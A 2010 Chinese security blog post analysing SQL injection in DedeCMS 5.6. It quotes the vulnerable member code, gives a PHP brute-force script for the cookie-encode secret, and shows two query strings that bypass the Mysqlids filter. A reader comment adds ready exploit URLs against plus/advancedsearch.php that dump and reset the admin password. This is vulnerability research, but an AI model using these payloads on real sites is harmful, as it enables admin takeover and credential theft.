Jun
10

Dedecms v5.6的鸡肋注入的可行性分析

----------------------------------------------------------------------------

# oldjun注:帮朋友打下广告,希望大家不要介意。。。

庞大的脚本安全字典,《黑客脚本全本》隆重上市 (Tommie等编著),本人感觉,这本书非常非常适合初学者入门,如果有新手有志学习脚本,成为脚本黑客,建议买本学习学习!

官方链接::http://bbs.nohack.cn/thread-114886-1-1.html

黑客脚本全本

淘宝预定地址:点击这里

黑客手册在线商城购买地址:点击这里

----------------------------------------------------------------------------

织梦CMS(DEDECMS)在国内使用很广,代码一直被脚本黑客们所关注,随着版本的日益更新,其他漏洞不说,注入漏洞的确越来越少了,5.5、5.6版本鲜有注入漏洞出来,据观察,应该有两个原因,一是本身代码的书写严格了或者审计到位了,二就是80sec的内置Mysqlids起到作用了。还是在5.3版本的时候看过dede代码,前段时间抽空“喵”了眼最新5.6final版本的代码,于是弄个唬人的标题,谈谈注入的可行性(也许有其他漏洞,不属于讨论范畴)。

一、可能产生注入的一个点,以及可能的利用方法:

由于只是粗略看了下plus与member的代码,也许有直接的注入没被看出来:)

这个可能的点遍布member目录下,以edit_fullinfo.php为例,看代码:

...
if($dopost=='save'){
    
        $membermodel = new membermodel($cfg_ml->M_MbType);
        $postform = $membermodel->getForm(true);

      //这里完成详细内容填写
        $dede_fields = empty($dede_fields) ? '' : trim($dede_fields);
        $dede_fieldshash = empty($dede_fieldshash) ? '' : trim($dede_fieldshash);
        $modid = empty($modid)? 0 : intval(preg_replace("/[^\d]/",'', $modid));
        
        if(!empty($dede_fields))
        {
            if($dede_fieldshash != md5($dede_fields.$cfg_cookie_encode))
            {
                showMsg('数据校验不对,程序返回', '-1');
                exit();
            }
        }
                         //虽然$dede_fields可以自己构造提交,但是代码对提交的$dede_fields进行了校验,from www.oldjun.com
                             
        $modelform = $dsql->GetOne("SELECT * FROM #@__member_model WHERE id='$modid' ");
        if(!is_array($modelform))
        {
            showmsg('模型表单不存在', '-1');
            exit();
        }
        
        $inadd_f = '';
                         //$dede_fields可以构造的话,则可以触发注入,from www.oldjun.com
        if(!empty($dede_fields))
        {
            $fieldarr = explode(';', $dede_fields);
            if(is_array($fieldarr))
            {
                foreach($fieldarr as $field)
                {
                    if($field == '') continue;
                    $fieldinfo = explode(',', $field);
                    if($fieldinfo[1] == 'textdata')
                    {
                        ${$fieldinfo[0]} = FilterSearch(stripslashes(${$fieldinfo[0]}));
                        ${$fieldinfo[0]} = addslashes(${$fieldinfo[0]});
                    }
                    else
                    {
                        if(empty(${$fieldinfo[0]})) ${$fieldinfo[0]} = '';
                        ${$fieldinfo[0]} = GetFieldValue(${$fieldinfo[0]}, $fieldinfo[1],0,'add','','diy', $fieldinfo[0]);
                    }
                    if($fieldinfo[0]=="birthday") ${$fieldinfo[0]}=GetDateMk(${$fieldinfo[0]});
                    $inadd_f .= ','.$fieldinfo[0]." ='".${$fieldinfo[0]}."'";//值不能构造,但列可以构造,from www.oldjun.com
                }
            }
        }
        $inadd_f=preg_replace('/,/','',$inadd_f,1);
        $query = "UPDATE `{$membermodel->table}`set {$inadd_f} WHERE mid='{$cfg_ml->M_ID}'";//$inadd_f可以通过$dede_fields构造来触发注入,from www.oldjun.com
        if(!$dsql->ExecuteNoneQuery($query))
        {
            ShowMsg("更新附加表 `{$membermodel->table}`  时出错,请联系管理员!","javascript:;");
            exit();
        }else{
            ShowMsg('成功更新你的详细资料!','edit_fullinfo.php',0,5000);
        exit();
        }
}

从代码里的分析可以看出,$dede_fields用来生成$inadd_f,而$inadd_f直接带入SQL语句了。因此如果能绕过校验,构造$dede_fields则可以触发注入。校验语句:
$dede_fieldshash != md5($dede_fields.$cfg_cookie_encode)
想让$dede_fieldshash等于md5($dede_fields.$cfg_cookie_encode),我们可以掌握两个变量,即如果知道$cfg_cookie_encode的值,就可以通过校验。再看看$cfg_cookie_encode是什么?config.cache.inc.php里的全局变量,安装的时候生成的,看看生成代码:

$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));

本来我觉得没戏的,但是发现才10位,而且不是26个字母就是10个数字。

在任意一个页面,比如article_edit.php里,aid,idhash也已经告诉我们了,看看archives_check_edit.php里的校验代码:

$ckhash = md5($aid.$cfg_cookie_encode);
if($ckhash!=$idhash)
{
    ShowMsg('校对码错误,你没权限修改此文档或操作不合法!','-1');
    exit();
}

很有才,我觉得在现在的计算机的计算能力下,跑出这个$cfg_cookie_encode应该没多大问题,我们的可能性是
26的6次方乘以10的4次方=3089157760000。

写个php模拟下:

<?php
//$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));
//BpFFb8896E
$thismd5='10e6939c165283cc53c527be6bae6995';
$upper='ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$lower='abcdefghijklmnopqrstuvwxyz';
$number='1234567890';
//$j=0;
//echo time();
for($i1=0;$i1<26;$i1++){
    
$tmp1=$upper[$i1];
    for(
$i2=0;$i2<26;$i2++){
        
$tmp2=$lower[$i2];
        for(
$i3=0;$i3<26;$i3++){
            
$tmp3=$upper[$i3];
            for(
$i4=0;$i4<26;$i4++){
                
$tmp4=$upper[$i4];
                for(
$i5=0;$i5<26;$i5++){
                    
$tmp5=$lower[$i5];
                    for(
$i6=0;$i6<10;$i6++){
                        
$tmp6=$number[$i6];
                        for(
$i7=0;$i7<10;$i7++){
                            
$tmp7=$number[$i7];
                            for(
$i8=0;$i8<10;$i8++){
                                
$tmp8=$number[$i8];
                                for(
$i9=0;$i9<10;$i9++){
                                    
$tmp9=$number[$i9];
                                    for(
$i10=0;$i10<26;$i10++){
                                        
$tmp10=$upper[$i10];
                                        
$tmp="1".$tmp1.$tmp2.$tmp3.$tmp4.$tmp5.$tmp6.$tmp7.$tmp8.$tmp9.$tmp10;
                                        
//echo $tmp."\r\n";
                                        
$j++;
                                        if(
md5($tmp)==$thismd5){
                                            die(
$tmp);
                                        }
/*else{
                                            if($j==10000000){
                                                echo time();
                                                exit();
                                            }
                                        }*/
                                    
}
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}
?>

php下速度太慢了,c下可以试试。如果有需要,用gpu破,再用很多电脑分段破,破出来这个$cfg_cookie_encode应该没问题,破出来之后,member下好多页面都可以注入的。如果说$cfg_cookie_encode的破解不鸡肋,80sec的内置Mysqlids却导致了即使有注入肯定也用不起来的局面,于是我们来看看有没绕过。

二、80sec的内置Mysqlids可能的绕过方法:

80sec的内置Mysqlids很强大,过滤mysql的三大注释符:/* 、--、 #,我觉得注入已经是无望了,因为注入语句一般都得通过注释把后半段给截去,然后过滤常见的union、file等,这不算bt,更bt的是把(select 子查询给过滤了,悲剧啊,写的太好了。

后来发现,由于怕匹配到sql语句中提交的内容,函数对单引号里的内容进行了替换(做waf或者idc,也考虑到这个问题),代码如下:

......
//完整的SQL检查
    while (true)
    {
        $pos = strpos($db_string, '\'', $pos + 1);
        if ($pos === false)
        {
            break;
        }
        $clean .= substr($db_string, $old_pos, $pos - $old_pos);
        while (true)
        {
            $pos1 = strpos($db_string, '\'', $pos + 1);
            $pos2 = strpos($db_string, '\\', $pos + 1);
            if ($pos1 === false)
            {
                break;
            }
            elseif ($pos2 == false || $pos2 > $pos1)
            {
                $pos = $pos1;
                break;
            }
            $pos = $pos2 + 1;
        }
        $clean .= '$s$';
        $old_pos = $pos + 1;
    }
    $clean .= substr($db_string, $old_pos);
    $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
......

看这段代码,然后反复尝试了很久,最终发现了两个绕过方法(以子查询为例):

1.gpc为on,绝对鸡肋的绕过方法,找不到这样的sql语句了:

/**/UPDATE `dede_plus` set filelist = /*'*/ (select '1') WHERE `aid` =27

(囧,没哪个sql语句/**/打头的...悲剧)

2.gpc为on的时候增加对\的处理没问题,但是gpc为off的时候,则可能导致绕过,于是gpc为off,可以完美绕过:

UPDATE `dede_plus` set filelist = '\\' and filelist ='aaa' and (select '1') WHERE `aid` =27

我只想到这么多了,没辙了,用flyh4t的话说,我算抛个砖了,如果谁有更好的绕过方法,可以一起讨论,期待玉的出现:)

综上所诉,想再利用DEDECMS的注入还是不容易的,建议其他程序可以一起借鉴下80sec的Mysqlids,当然,仅限以发布文章为主的cms,论坛还是别了...

共有10条评论

  1. web5he11: Jun,10th,2010

    oldjun果然是大牛啊。

    不过第一楼的那个php的循环,估计会超时,或者运行死掉。不知道有没有更好的方法啊。(不用脚本,用其他的语言,多线程??)

    后面的那个绕过的方法太绝了。佩服佩服。

  2. 秒杀: Jun,12th,2010

    直接就是是可以遍目录吧...目录下面没有index

  3. [...][...]

  4. oldjun: Jun,15th,2010

    http://www.t00ls.net/thread-8448-1-1.html

    dede的SQL语句执行漏洞了!

    前提先开启一个自定义搜索模型(一般情况下,不开的~):

    获取密码:
    http://127.0.0.1/plus/advancedsearch.php?mid=-1&sql=SELECT%20pwd%20as%20aid%20FROM%20`%23@__admin`

    重置密码:
    http://127.0.0.1/plus/advancedsearch.php?mid=-1&sql=/**/update%20`%23@__admin`%20set%20pwd=0x6632393761353761356137343338393461306534/*

  5. jannock: Jun,26th,2010

    这个最后的SQL注入也差点被你发现了。继续读读代码,是存在注入的。而且结合其他因素还可以直接拿Shell

  6. ppg: Jun,27th,2010

    dedecms的注入,还没有试过呢

  7. 常笑鹰: Jul,1st,2010

    我哭啊``《黑客脚本全本》昨天代理商刚退回给 《黑客手册》卖书的````
      原来需要40块一本``  在代理商那只要 32块。。。
        好不容易凑到钱,一问老板,书刚退,欲哭无泪````
       还有,终于放假了,去申请Tools的会员了``

  8. 黑客帝国: Jul,9th,2010

    书是买了,但是蛋定不下来。

  9. 匿名: Aug,11th,2010

    MysqlIds 过滤了 '/*'  

    /**/UPDATE `dede_plus` set filelist = /*'*/ (select '1') WHERE `aid` =27  

    你的这个语句前后都有'/*' 我不懂你的意思

  10. 匿名: Aug,11th,2010

    UPDATE `dede_plus` set filelist = '\\' and filelist ='aaa' and (select '1') WHERE `aid` =27

    这个语句  MysqlIds 过滤了 select

    我不知道这个是怎么运行的

NAME:

required

E-MAIL:

required, will not be published

HOMEPAGE:

CONTENT: